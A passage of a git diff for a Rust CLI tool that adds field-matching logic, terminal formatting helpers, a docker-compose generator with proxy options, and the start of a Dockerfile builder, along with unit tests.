FieldMatchResult { + let mapping = smart_field_match(src_fields, tgt_fields, source_sample); + let mut confidence = HashMap::new(); + + if let Some(obj) = mapping.as_object() { + for key in obj.keys() { + confidence.insert(key.clone(), 1.0); + } + } + + FieldMatchResult { + mapping, + confidence, + suggestions: Vec::new(), + mode: MatchingMode::Deterministic, + } + } +} + +/// Smart field matching: exact name → case-insensitive → semantic aliases → type-aware. +fn smart_field_match( + src_fields: &[String], + tgt_fields: &[String], + source_sample: Option<&serde_json::Value>, +) -> serde_json::Value { + let mut mapping = serde_json::Map::new(); + + for tgt_field in tgt_fields { + // 1. Exact name match + if src_fields.contains(tgt_field) { + mapping.insert( + tgt_field.clone(), + serde_json::Value::String(format!("$.{}", tgt_field)), + ); + continue; + } + + // 2. Case-insensitive match + let tgt_lower = tgt_field.to_ascii_lowercase(); + if let Some(src) = src_fields + .iter() + .find(|s| s.to_ascii_lowercase() == tgt_lower) + { + mapping.insert( + tgt_field.clone(), + serde_json::Value::String(format!("$.{}", src)), + ); + continue; + } + + // 3. Semantic alias match + let mut found_alias = false; + for (group_a, group_b) in FIELD_ALIASES { + if group_a.iter().any(|a| a.eq_ignore_ascii_case(tgt_field)) { + if let Some(src) = src_fields + .iter() + .find(|sf| group_b.iter().any(|b| b.eq_ignore_ascii_case(sf))) + { + mapping.insert( + tgt_field.clone(), + serde_json::Value::String(format!("$.{}", src)), + ); + found_alias = true; + break; + } + } + } + if found_alias { + continue; + } + + // 4. Type-aware match using sample data (if available) + if let Some(sample) = source_sample { + if let Some(obj) = sample.as_object() { + let mapped_sources: Vec<&str> = mapping + .values() + .filter_map(|v| v.as_str()) + .filter_map(|s| s.strip_prefix("$.")) + .collect(); + + let tgt_suffix = tgt_field.rsplit('_').next().unwrap_or(tgt_field); + if let Some(src) = src_fields.iter().find(|sf| { + !mapped_sources.contains(&sf.as_str()) + && sf.ends_with(tgt_suffix) + && sf.as_str() != tgt_field.as_str() + && obj.contains_key(sf.as_str()) + }) { + mapping.insert( + tgt_field.clone(), + serde_json::Value::String(format!("$.{}", src)), + ); + } + } + } + } + + serde_json::Value::Object(mapping) +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + #[test] + fn test_deterministic_exact_match() { + let matcher = DeterministicFieldMatcher; + let src = vec!["email".to_string(), "name".to_string(), "id".to_string()]; + let tgt = vec!["email".to_string(), "name".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.email"); + assert_eq!(map["name"], "$.name"); + assert_eq!(result.mode, MatchingMode::Deterministic); + assert_eq!(*result.confidence.get("email").unwrap(), 1.0); + } + + #[test] + fn test_deterministic_case_insensitive() { + let matcher = DeterministicFieldMatcher; + let src = vec!["Email".to_string(), "UserName".to_string()]; + let tgt = vec!["email".to_string(), "username".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.Email"); + assert_eq!(map["username"], "$.UserName"); + } + + #[test] + fn test_deterministic_semantic_aliases() { + let matcher = DeterministicFieldMatcher; + let src = vec!["user_email".to_string(), "display_name".to_string()]; + let tgt = vec!["email".to_string(), "name".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.user_email"); + assert_eq!(map["name"], "$.display_name"); + } + + #[test] + fn test_deterministic_type_aware_suffix() { + let matcher = DeterministicFieldMatcher; + let src = vec!["author_id".to_string(), "post_id".to_string()]; + let tgt = vec!["user_id".to_string()]; + let sample = json!({"author_id": 42, "post_id": 1}); + let result = matcher.match_fields(&src, &tgt, Some(&sample)); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["user_id"], "$.author_id"); + } + + #[test] + fn test_deterministic_no_matches() { + let matcher = DeterministicFieldMatcher; + let src = vec!["foo".to_string()]; + let tgt = vec!["bar".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert!(map.is_empty()); + assert!(result.confidence.is_empty()); + assert!(result.suggestions.is_empty()); + } + + #[test] + fn test_deterministic_mixed_strategies() { + let matcher = DeterministicFieldMatcher; + let src = vec![ + "email".to_string(), + "display_name".to_string(), + "Phone".to_string(), + ]; + let tgt = vec![ + "email".to_string(), + "name".to_string(), + "phone".to_string(), + "unknown".to_string(), + ]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map.len(), 3); + assert_eq!(map["email"], "$.email"); + assert_eq!(map["name"], "$.display_name"); + assert_eq!(map["phone"], "$.Phone"); + assert!(!map.contains_key("unknown")); + assert_eq!(result.confidence.len(), 3); + } + + #[test] + fn test_matching_mode_display() { + assert_eq!(MatchingMode::Deterministic.to_string(), "deterministic"); + assert_eq!(MatchingMode::Ai.to_string(), "ai"); + assert_eq!(MatchingMode::Ml.to_string(), "ml"); + } + + #[test] + fn test_field_match_result_default_no_suggestions() { + let matcher = DeterministicFieldMatcher; + let src = vec!["email".to_string()]; + let tgt = vec!["email".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + assert!(result.suggestions.is_empty()); + } +} diff --git a/stacker/stacker/src/cli/fmt.rs b/stacker/stacker/src/cli/fmt.rs new file mode 100644 index 0000000..122084a --- /dev/null +++ b/stacker/stacker/src/cli/fmt.rs @@ -0,0 +1,65 @@ +//! Shared terminal formatting helpers. +//! +//! Provides reusable utilities for table rendering, string truncation, +//! and human-readable output that multiple CLI commands can share. + +/// Truncate a string to `max_len` characters, appending "…" if truncated. +pub fn truncate(s: &str, max_len: usize) -> String { + if s.chars().count() > max_len { + let truncated: String = s.chars().take(max_len.saturating_sub(1)).collect(); + format!("{}…", truncated) + } else { + s.to_string() + } +} + +/// Generate a horizontal separator of `width` Unicode box-drawing characters. +pub fn separator(width: usize) -> String { + "─".repeat(width) +} + +/// Format a JSON `Value` as pretty-printed JSON string, falling back to +/// compact `to_string()` if pretty-printing fails. +pub fn pretty_json(value: &serde_json::Value) -> String { + serde_json::to_string_pretty(value).unwrap_or_else(|_| value.to_string()) +} + +/// Display an optional string, returning the provided default when `None`. +pub fn display_opt(opt: Option<&str>, default: &str) -> String { + opt.unwrap_or(default).to_string() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn truncate_short_string_unchanged() { + assert_eq!(truncate("abc", 10), "abc"); + } + + #[test] + fn truncate_exact_length_unchanged() { + assert_eq!(truncate("abc", 3), "abc"); + } + + #[test] + fn truncate_long_string() { + assert_eq!(truncate("hello world", 6), "hello…"); + } + + #[test] + fn separator_width() { + assert_eq!(separator(3), "───"); + } + + #[test] + fn display_opt_some() { + assert_eq!(display_opt(Some("val"), "-"), "val"); + } + + #[test] + fn display_opt_none() { + assert_eq!(display_opt(None, "-"), "-"); + } +} diff --git a/stacker/stacker/src/cli/generator/compose.rs b/stacker/stacker/src/cli/generator/compose.rs new file mode 100644 index 0000000..13bdb21 --- /dev/null +++ b/stacker/stacker/src/cli/generator/compose.rs @@ -0,0 +1,807 @@ +use std::collections::HashMap; +use std::convert::TryFrom; +use std::fmt; +use std::path::Path; + +use crate::cli::config_parser::{AppType, ProxyType, ServiceDefinition, StackerConfig}; +use crate::cli::error::CliError; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ComposeService — represents one service in docker-compose +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone)] +pub struct ComposeService { + pub name: String, + pub image: Option, + pub build_context: Option, + pub dockerfile: Option, + pub ports: Vec, + pub environment: HashMap, + pub volumes: Vec, + pub depends_on: Vec, + pub restart: String, + pub networks: Vec, + pub labels: HashMap, + /// Container runtime (e.g., "kata"). None or "runc" means default. + pub runtime: Option, +} + +impl Default for ComposeService { + fn default() -> Self { + Self { + name: String::new(), + image: None, + build_context: None, + dockerfile: None, + ports: Vec::new(), + environment: HashMap::new(), + volumes: Vec::new(), + depends_on: Vec::new(), + restart: "unless-stopped".to_string(), + networks: vec!["app-network".to_string()], + labels: HashMap::new(), + runtime: None, + } + } +} + +/// Convert a `ServiceDefinition` (from stacker.yml) into a `ComposeService`. +impl From<&ServiceDefinition> for ComposeService { + fn from(svc: &ServiceDefinition) -> Self { + let mut compose_service = Self { + name: svc.name.clone(), + image: Some(svc.image.clone()), + ports: svc.ports.clone(), + environment: svc.environment.clone(), + volumes: svc.volumes.clone(), + depends_on: svc.depends_on.clone(), + ..Default::default() + }; + crate::helpers::stacker_labels::insert_runtime_labels( + &mut compose_service.labels, + None::, + None, + crate::helpers::stacker_labels::SCOPE_PROJECT, + &svc.name, + &svc.name, + ); + compose_service + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ComposeDefinition — full docker-compose document +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone)] +pub struct ComposeDefinition { + pub services: Vec, + pub networks: Vec, + pub volumes: Vec, +} + +impl Default for ComposeDefinition { + fn default() -> Self { + Self { + services: Vec::new(), + networks: vec!["app-network".to_string()], + volumes: Vec::new(), + } + } +} + +/// Build a complete `ComposeDefinition` from a `StackerConfig`. +/// +/// This converts the config's app + services into docker-compose services, +/// sets up networking, and optionally adds a proxy service. +impl TryFrom<&StackerConfig> for ComposeDefinition { + type Error = CliError; + + fn try_from(config: &StackerConfig) -> Result { + let mut compose = ComposeDefinition::default(); + let mut named_volumes: Vec = Vec::new(); + + // --- Main app service --- + let app_service = build_app_service(config); + compose.services.push(app_service); + + // --- Additional services (databases, caches, etc.) --- + for svc_def in &config.services { + let svc = ComposeService::from(svc_def); + + // Collect named volumes + for vol in &svc.volumes { + if let Some(named) = extract_named_volume(vol) { + if !named_volumes.contains(&named) { + named_volumes.push(named); + } + } + } + + compose.services.push(svc); + } + + // --- Proxy service --- + if let Some(proxy_svc) = build_proxy_service(config) { + compose.services.push(proxy_svc); + } + + // --- Set top-level volumes --- + compose.volumes = named_volumes; + + Ok(compose) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Internal construction helpers (SRP: each builds one aspect) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +fn build_app_service(config: &StackerConfig) -> ComposeService { + let mut svc = ComposeService { + name: "app".to_string(), + ..Default::default() + }; + crate::helpers::stacker_labels::insert_runtime_labels( + &mut svc.labels, + None::, + None, + crate::helpers::stacker_labels::SCOPE_PROJECT, + "app", + "app", + ); + + // If user specifies an image directly, use it. + if let Some(ref img) = config.app.image { + svc.image = Some(img.clone()); + } else { + // Build from context + svc.build_context = Some(config.app.path.to_string_lossy().to_string()); + if let Some(ref df) = config.app.dockerfile { + svc.dockerfile = Some(df.to_string_lossy().to_string()); + } + } + + // Ports: use explicit ports if provided, otherwise default from app type + if config.app.ports.is_empty() { + let default_port = default_port_for_app_type(config.app.app_type); + svc.ports.push(format!("{}:{}", default_port, default_port)); + } else { + svc.ports.extend(config.app.ports.clone()); + } + + // Volumes from app section + svc.volumes.extend(config.app.volumes.clone()); + + // Merge environment: top-level env first, then app-level (app wins) + for (k, v) in &config.env { + svc.environment.insert(k.clone(), v.clone()); + } + for (k, v) in &config.app.environment { + svc.environment.insert(k.clone(), v.clone()); + } + + svc +} + +fn default_port_for_app_type(app_type: AppType) -> u16 { + match app_type { + AppType::Static => 80, + AppType::Node => 3000, + AppType::Python => 8000, + AppType::Rust => 8080, + AppType::Go => 8080, + AppType::Php => 9000, + AppType::Custom => 8080, + } +} + +fn build_proxy_service(config: &StackerConfig) -> Option { + match config.proxy.proxy_type { + ProxyType::Nginx => { + let mut svc = ComposeService { + name: "nginx".to_string(), + image: Some("nginx:alpine".to_string()), + ports: vec!["80:80".to_string(), "443:443".to_string()], + depends_on: vec!["app".to_string()], + ..Default::default() + }; + svc.volumes + .push("./nginx/conf.d:/etc/nginx/conf.d:ro".to_string()); + Some(svc) + } + ProxyType::NginxProxyManager => { + let mut svc = ComposeService { + name: "proxy-manager".to_string(), + image: Some("jc21/nginx-proxy-manager:latest".to_string()), + ports: vec![ + "80:80".to_string(), + "443:443".to_string(), + "81:81".to_string(), + ], + depends_on: vec!["app".to_string()], + ..Default::default() + }; + crate::helpers::stacker_labels::insert_runtime_labels( + &mut svc.labels, + None::, + None, + crate::helpers::stacker_labels::SCOPE_PLATFORM, + "nginx_proxy_manager", + "nginx-proxy-manager", + ); + Some(svc) + } + ProxyType::Traefik => { + let mut svc = ComposeService { + name: "traefik".to_string(), + image: Some("traefik:v2.10".to_string()), + ports: vec!["80:80".to_string(), "443:443".to_string()], + depends_on: vec!["app".to_string()], + ..Default::default() + }; + svc.volumes + .push("/var/run/docker.sock:/var/run/docker.sock:ro".to_string()); + Some(svc) + } + ProxyType::None => None, + } +} + +/// Extract a named volume from a volume string like "my-data:/var/lib/data". +/// Returns `None` for bind mounts (starting with `.` or `/`). +fn extract_named_volume(vol_str: &str) -> Option { + let parts: Vec<&str> = vol_str.split(':').collect(); + if parts.len() >= 2 { + let source = parts[0]; + if !source.starts_with('.') && !source.starts_with('/') { + return Some(source.to_string()); + } + } + None +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Rendering — produce docker-compose YAML string +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +impl ComposeDefinition { + /// Render as a docker-compose YAML string (hand-built for readability). + pub fn render(&self) -> String { + let mut out = String::new(); + + out.push_str("services:\n"); + + for svc in &self.services { + out.push_str(&format!(" {}:\n", svc.name)); + + if let Some(ref img) = svc.image { + out.push_str(&format!(" image: {}\n", img)); + } + + if let Some(ref ctx) = svc.build_context { + out.push_str(" build:\n"); + out.push_str(&format!(" context: {}\n", ctx)); + if let Some(ref df) = svc.dockerfile { + out.push_str(&format!(" dockerfile: {}\n", df)); + } + } + + if let Some(ref rt) = svc.runtime { + if rt != "runc" { + out.push_str(&format!(" runtime: {}\n", rt)); + } + } + + if !svc.ports.is_empty() { + out.push_str(" ports:\n"); + for p in &svc.ports { + out.push_str(&format!(" - \"{}\"\n", p)); + } + } + + if !svc.environment.is_empty() { + out.push_str(" environment:\n"); + let mut keys: Vec<&String> = svc.environment.keys().collect(); + keys.sort(); + for k in keys { + out.push_str(&format!(" {}: \"{}\"\n", k, svc.environment[k])); + } + } + + if !svc.volumes.is_empty() { + out.push_str(" volumes:\n"); + for v in &svc.volumes { + out.push_str(&format!(" - \"{}\"\n", v)); + } + } + + if !svc.depends_on.is_empty() { + out.push_str(" depends_on:\n"); + for d in &svc.depends_on { + out.push_str(&format!(" - {}\n", d)); + } + } + + out.push_str(&format!(" restart: {}\n", svc.restart)); + + if !svc.networks.is_empty() { + out.push_str(" networks:\n"); + for n in &svc.networks { + out.push_str(&format!(" - {}\n", n)); + } + } + + if !svc.labels.is_empty() { + out.push_str(" labels:\n"); + let mut keys: Vec<&String> = svc.labels.keys().collect(); + keys.sort(); + for k in keys { + out.push_str(&format!(" {}: \"{}\"\n", k, svc.labels[k])); + } + } + + out.push('\n'); + } + + // Top-level networks + if !self.networks.is_empty() { + out.push_str("networks:\n"); + for n in &self.networks { + out.push_str(&format!(" {}:\n driver: bridge\n", n)); + } + out.push('\n'); + } + + // Top-level volumes + if !self.volumes.is_empty() { + out.push_str("volumes:\n"); + for v in &self.volumes { + out.push_str(&format!(" {}:\n", v)); + } + out.push('\n'); + } + + out + } + + /// Write docker-compose YAML to a file path. + pub fn write_to(&self, path: &Path, overwrite: bool) -> Result<(), CliError> { + if !overwrite && path.exists() { + return Err(CliError::GeneratorError(format!( + "Compose file already exists: {}", + path.display() + ))); + } + let content = self.render(); + std::fs::write(path, content)?; + Ok(()) + } +} + +impl fmt::Display for ComposeDefinition { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self.render()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::config_parser::{AppSource, ConfigBuilder, DeployConfig, ProxyConfig, SslMode}; + use std::collections::HashMap; + + fn minimal_config(app_type: AppType) -> StackerConfig { + ConfigBuilder::new() + .name("test-app") + .app_type(app_type) + .build() + .unwrap() + } + + #[test] + fn test_compose_from_minimal_static_config() { + let config = minimal_config(AppType::Static); + let compose = ComposeDefinition::try_from(&config).unwrap(); + assert_eq!(compose.services.len(), 1); + assert_eq!(compose.services[0].name, "app"); + assert!(compose.services[0].ports.contains(&"80:80".to_string())); + } + + #[test] + fn test_compose_from_node_config() { + let config = minimal_config(AppType::Node); + let compose = ComposeDefinition::try_from(&config).unwrap(); + assert!(compose.services[0].ports.contains(&"3000:3000".to_string())); + } + + #[test] + fn test_compose_from_python_config_port() { + let config = minimal_config(AppType::Python); + let compose = ComposeDefinition::try_from(&config).unwrap(); + assert!(compose.services[0].ports.contains(&"8000:8000".to_string())); + } + + #[test] + fn test_compose_app_service_uses_build_context() { + let config = minimal_config(AppType::Static); + let compose = ComposeDefinition::try_from(&config).unwrap(); + let app = &compose.services[0]; + assert!(app.build_context.is_some()); + assert!(app.image.is_none()); + } + + #[test] + fn test_compose_app_service_with_explicit_image() { + let config = ConfigBuilder::new() + .name("img-app") + .app_type(AppType::Custom) + .app_image("myregistry/myapp:latest") + .build() + .unwrap(); + let compose = ComposeDefinition::try_from(&config).unwrap(); + let app = &compose.services[0]; + assert_eq!(app.image.as_deref(), Some("myregistry/myapp:latest")); + assert!(app.build_context.is_none()); + } + + #[test] + fn test_compose_includes_additional_services() { + let svc = ServiceDefinition { + name: "postgres".into(), + image: "postgres:16".into(), + ports: vec!["5432:5432".into()], + environment: HashMap::from([("POSTGRES_PASSWORD".into(), "secret".into())]), + volumes: vec!["pg-data:/var/lib/postgresql/data".into()], + depends_on: Vec::new(), + }; + let config = ConfigBuilder::new() + .name("with-db") + .app_type(AppType::Node) + .add_service(svc) + .build() + .unwrap(); + + let compose = ComposeDefinition::try_from(&config).unwrap(); + assert_eq!(compose.services.len(), 2); + assert_eq!(compose.services[1].name, "postgres"); + assert!(compose.volumes.contains(&"pg-data".to_string())); + } + + #[test] + fn test_compose_nginx_proxy_added() { + let config = ConfigBuilder::new() + .name("proxied-app") + .app_type(AppType::Node) + .proxy(ProxyConfig { + proxy_type: ProxyType::Nginx, + auto_detect: true, + domains: Vec::new(), + config: None, + }) + .build() + .unwrap(); + + let compose = ComposeDefinition::try_from(&config).unwrap(); + let proxy_svc = compose.services.iter().find(|s| s.name == "nginx"); + assert!(proxy_svc.is_some()); + let proxy = proxy_svc.unwrap(); + assert_eq!(proxy.image.as_deref(), Some("nginx:alpine")); + assert!(proxy.ports.contains(&"80:80".to_string())); + assert!(proxy.ports.contains(&"443:443".to_string())); + assert!(proxy.depends_on.contains(&"app".to_string())); + } + + #[test] + fn test_compose_no_proxy_when_none() { + let config = minimal_config(AppType::Static); + let compose = ComposeDefinition::try_from(&config).unwrap(); + // Only app service, no proxy + assert_eq!(compose.services.len(), 1); + } + + #[test] + fn test_compose_traefik_proxy() { + let config = ConfigBuilder::new() + .name("traefik-app") + .app_type(AppType::Python) + .proxy(ProxyConfig { + proxy_type: ProxyType::Traefik, + auto_detect: true, + domains: Vec::new(), + config: None, + }) + .build() + .unwrap(); + + let compose = ComposeDefinition::try_from(&config).unwrap(); + let traefik = compose.services.iter().find(|s| s.name == "traefik"); + assert!(traefik.is_some()); + assert_eq!(traefik.unwrap().image.as_deref(), Some("traefik:v2.10")); + } + + #[test] + fn test_compose_render_omits_obsolete_version() { + let config = minimal_config(AppType::Static); + let compose = ComposeDefinition::try_from(&config).unwrap(); + let yaml = compose.render(); + assert!(!yaml.contains("version:")); + } + + #[test] + fn test_compose_render_contains_services_block() { + let config = minimal_config(AppType::Node); + let compose = ComposeDefinition::try_from(&config).unwrap(); + let yaml = compose.render(); + assert!(yaml.contains("services:")); + assert!(yaml.contains(" app:")); + } + + #[test] + fn test_compose_render_contains_networks() { + let config = minimal_config(AppType::Static); + let compose = ComposeDefinition::try_from(&config).unwrap(); + let yaml = compose.render(); + assert!(yaml.contains("networks:")); + assert!(yaml.contains("app-network")); + } + + #[test] + fn test_compose_render_contains_volumes_section() { + let svc = ServiceDefinition { + name: "redis".into(), + image: "redis:7".into(), + ports: Vec::new(), + environment: HashMap::new(), + volumes: vec!["redis-data:/data".into()], + depends_on: Vec::new(), + }; + let config = ConfigBuilder::new() + .name("with-vol") + .app_type(AppType::Static) + .add_service(svc) + .build() + .unwrap(); + + let compose = ComposeDefinition::try_from(&config).unwrap(); + let yaml = compose.render(); + assert!(yaml.contains("volumes:")); + assert!(yaml.contains(" redis-data:")); + } + + #[test] + fn test_compose_env_vars_propagated_to_app() { + let config = ConfigBuilder::new() + .name("env-app") + .app_type(AppType::Node) + .env("NODE_ENV", "production") + .env("LOG_LEVEL", "debug") + .build() + .unwrap(); + + let compose = ComposeDefinition::try_from(&config).unwrap(); + let app = &compose.services[0]; + assert_eq!( + app.environment.get("NODE_ENV").map(|s| s.as_str()), + Some("production") + ); + assert_eq!( + app.environment.get("LOG_LEVEL").map(|s| s.as_str()), + Some("debug") + ); + } + + #[test] + fn test_compose_display_matches_render() { + let config = minimal_config(AppType::Static); + let compose = ComposeDefinition::try_from(&config).unwrap(); + assert_eq!(format!("{}", compose), compose.render()); + } + + #[test] + fn test_compose_write_refuses_overwrite() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("docker-compose.yml"); + std::fs::write(&path, "existing").unwrap(); + + let config = minimal_config(AppType::Static); + let compose = ComposeDefinition::try_from(&config).unwrap(); + let result = compose.write_to(&path, false); + assert!(result.is_err()); + } + + #[test] + fn test_compose_write_creates_file() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("docker-compose.yml"); + + let config = minimal_config(AppType::Node); + let compose = ComposeDefinition::try_from(&config).unwrap(); + compose.write_to(&path, false).unwrap(); + + let written = std::fs::read_to_string(&path).unwrap(); + assert!(written.contains("app:")); + assert!(written.contains("3000:3000")); + } + + #[test] + fn test_service_definition_to_compose_service() { + let svc_def = ServiceDefinition { + name: "mysql".into(), + image: "mysql:8".into(), + ports: vec!["3306:3306".into()], + environment: HashMap::from([("MYSQL_ROOT_PASSWORD".into(), "pass".into())]), + volumes: vec!["mysql-data:/var/lib/mysql".into()], + depends_on: Vec::new(), + }; + + let compose_svc = ComposeService::from(&svc_def); + assert_eq!(compose_svc.name, "mysql"); + assert_eq!(compose_svc.image.as_deref(), Some("mysql:8")); + assert!(compose_svc.ports.contains(&"3306:3306".to_string())); + assert_eq!( + compose_svc + .environment + .get("MYSQL_ROOT_PASSWORD") + .map(|s| s.as_str()), + Some("pass") + ); + } + + #[test] + fn service_definition_adds_project_scope_labels() { + let svc_def = ServiceDefinition { + name: "smtp".into(), + image: "trydirect/smtp:latest".into(), + ports: Vec::new(), + environment: HashMap::new(), + volumes: Vec::new(), + depends_on: Vec::new(), + }; + + let compose_svc = ComposeService::from(&svc_def); + + assert_eq!( + compose_svc + .labels + .get(crate::helpers::stacker_labels::SCOPE) + .map(String::as_str), + Some("project") + ); + assert_eq!( + compose_svc + .labels + .get(crate::helpers::stacker_labels::SERVICE) + .map(String::as_str), + Some("smtp") + ); + assert_eq!( + compose_svc + .labels + .get(crate::helpers::stacker_labels::DNS) + .map(String::as_str), + Some("smtp") + ); + } + + #[test] + fn test_extract_named_volume_returns_name() { + assert_eq!( + extract_named_volume("pg-data:/var/lib/postgresql/data"), + Some("pg-data".to_string()) + ); + } + + #[test] + fn test_extract_named_volume_ignores_bind_mount() { + assert_eq!(extract_named_volume("./data:/app/data"), None); + assert_eq!(extract_named_volume("/host/path:/container"), None); + } + + #[test] + fn test_compose_nginx_proxy_manager() { + let config = ConfigBuilder::new() + .name("npm-app") + .app_type(AppType::Static) + .proxy(ProxyConfig { + proxy_type: ProxyType::NginxProxyManager, + auto_detect: true, + domains: Vec::new(), + config: None, + }) + .build() + .unwrap(); + + let compose = ComposeDefinition::try_from(&config).unwrap(); + let npm = compose.services.iter().find(|s| s.name == "proxy-manager"); + assert!(npm.is_some()); + let npm = npm.unwrap(); + assert!(npm.ports.contains(&"81:81".to_string())); // NPM admin port + assert_eq!( + npm.labels + .get(crate::helpers::stacker_labels::SCOPE) + .map(String::as_str), + Some("platform") + ); + assert_eq!( + npm.labels + .get(crate::helpers::stacker_labels::SERVICE) + .map(String::as_str), + Some("nginx_proxy_manager") + ); + assert_eq!( + npm.labels + .get(crate::helpers::stacker_labels::DNS) + .map(String::as_str), + Some("nginx-proxy-manager") + ); + } + + #[test] + fn render_includes_kata_runtime() { + let svc = ComposeService { + name: "web".to_string(), + image: Some("nginx:latest".to_string()), + runtime: Some("kata".to_string()), + ..Default::default() + }; + let def = ComposeDefinition { + services: vec![svc], + networks: vec!["app-network".to_string()], + volumes: vec![], + }; + let output = def.render(); + assert!( + output.contains("runtime: kata"), + "Expected 'runtime: kata' in:\n{}", + output + ); + } + + #[test] + fn render_excludes_runc_runtime() { + let svc = ComposeService { + name: "web".to_string(), + image: Some("nginx:latest".to_string()), + runtime: Some("runc".to_string()), + ..Default::default() + }; + let def = ComposeDefinition { + services: vec![svc], + networks: vec!["app-network".to_string()], + volumes: vec![], + }; + let output = def.render(); + assert!( + !output.contains("runtime:"), + "runc runtime should not appear in:\n{}", + output + ); + } + + #[test] + fn render_excludes_runtime_when_none() { + let svc = ComposeService { + name: "web".to_string(), + image: Some("nginx:latest".to_string()), + runtime: None, + ..Default::default() + }; + let def = ComposeDefinition { + services: vec![svc], + networks: vec!["app-network".to_string()], + volumes: vec![], + }; + let output = def.render(); + assert!( + !output.contains("runtime:"), + "No runtime should appear in:\n{}", + output + ); + } +} diff --git a/stacker/stacker/src/cli/generator/dockerfile.rs b/stacker/stacker/src/cli/generator/dockerfile.rs new file mode 100644 index 0000000..eb8ed2d --- /dev/null +++ b/stacker/stacker/src/cli/generator/dockerfile.rs @@ -0,0 +1,525 @@ +use std::fmt; +use std::path::Path; + +use crate::cli::config_parser::AppType; +use crate::cli::error::CliError; +use serde::Deserialize; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DockerfileBuilder — generates Dockerfiles from AppType +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// A fluent builder for producing multi-stage Dockerfile contents. +#[derive(Debug, Clone)] +#[allow(dead_code)] +pub struct DockerfileBuilder { + base_image: String, + work_dir: String, + copy_sources: Vec<(String, String)>, + run_commands: Vec, + expose_ports: Vec, + cmd: Vec, + entrypoint: Option>, + env_vars: Vec<(String, String)>, + labels: Vec<(String, String)>, + stages: Vec, +} + +/// A named build stage for multi-stage builds. +#[derive(Debug, Clone)] +#[allow(dead_code)] +struct Stage { + name: String, + base_image: String, + commands: Vec, +} + +impl Default for DockerfileBuilder { + fn default() -> Self { + Self { + base_image: "alpine:3.18".to_string(), + work_dir: "/app".to_string(), + copy_sources: Vec::new(), + run_commands: Vec::new(), + expose_ports: Vec::new(), + cmd: Vec::new(), + entrypoint: None, + env_vars: Vec::new(), + labels: Vec::new(), + stages: Vec::new(), + } + } +} + +/// Create a `DockerfileBuilder` pre-configured with sensible defaults for a given +/// `AppType`. This is the primary entry point for generating Dockerfiles. +impl From for DockerfileBuilder { + fn from(app_type: AppType) -> Self { + match app_type { + AppType::Static => Self::default() + .base_image("nginx:alpine") + .copy(".", "/usr/share/nginx/html") + .expose(80), + + AppType::Node => Self::default() + .base_image("node:20-alpine") + .work_dir("/app") + .copy("package*.json", "./") + .run("npm ci --production") + .copy(".", ".") + .expose(3000) + .cmd_str("node server.js"), + + AppType::Python => Self::default() + .base_image("python:3.12-slim") + .work_dir("/app") + .copy("requirements.txt", "./") + .run("pip install --no-cache-dir -r requirements.txt") + .copy(".", ".") + .expose(8000) + .cmd_str("python -m uvicorn main:app --host 0.0.0.0 --port 8000"), + + AppType::Rust => Self::default() + .base_image("rust:1.77-alpine") + .work_dir("/app") + .run("apk add --no-cache musl-dev") + .copy(".", ".") + .run("cargo build --release") + .expose(8080) + .cmd_str("./target/release/app"), + + AppType::Go => Self::default() + .base_image("golang:1.22-alpine") + .work_dir("/app") + .copy("go.mod", "./") + .copy("go.sum", "./") + .run("go mod download") + .copy(".", ".") + .run("go build -o /app/server .") + .expose(8080) + .cmd_str("/app/server"), + + AppType::Php => Self::default() + .base_image("php:8.3-fpm-alpine") + .work_dir("/var/www/html") + .run("docker-php-ext-install pdo pdo_mysql") + .copy(".", ".") + .expose(9000), + + AppType::Custom => Self::default(), + } + } +} + +impl DockerfileBuilder { + pub fn new() -> Self { + Self::default() + } + + pub fn for_project(project_dir: &Path, app_type: AppType) -> Self { + match app_type { + AppType::Node => { + Self::for_node_project(project_dir).unwrap_or_else(|| Self::from(app_type)) + } + _ => Self::from(app_type), + } + } + + fn for_node_project(project_dir: &Path) -> Option { + let package_json = std::fs::read_to_string(project_dir.join("package.json")).ok()?; + let manifest: NodePackageManifest = serde_json::from_str(&package_json).ok()?; + let has_next_dependency = manifest.dependencies.contains_key("next") + || manifest.dev_dependencies.contains_key("next"); + let has_build_script = manifest.scripts.contains_key("build"); + let has_start_script = 